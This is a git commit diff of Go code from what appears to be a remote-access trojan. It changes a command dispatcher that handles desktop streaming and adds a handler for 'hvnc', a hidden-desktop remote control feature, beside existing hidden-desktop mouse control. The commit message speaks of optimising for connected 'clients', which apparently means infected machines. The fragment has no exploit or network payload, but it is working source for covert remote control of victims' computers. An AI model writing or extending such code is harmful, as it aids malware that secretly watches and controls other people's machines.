improve jpeg streaming + optimize the shit out of db read writes for large incoming clients and connected clients.
This commit is contained in:
@@ -798,8 +798,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "desktop_request_keyframe":
|
||||
log.Printf("desktop: request h264 keyframe")
|
||||
capture.RequestDesktopH264Keyframe()
|
||||
log.Printf("desktop: request full frame")
|
||||
capture.RequestDesktopFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "desktop_set_resolution":
|
||||
@@ -1158,6 +1158,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
capture.SetQualityAndCodec(quality, codec)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_request_keyframe":
|
||||
log.Printf("hvnc: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_mouse_move":
|
||||
if !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
|
||||
Reference in New Issue
Block a user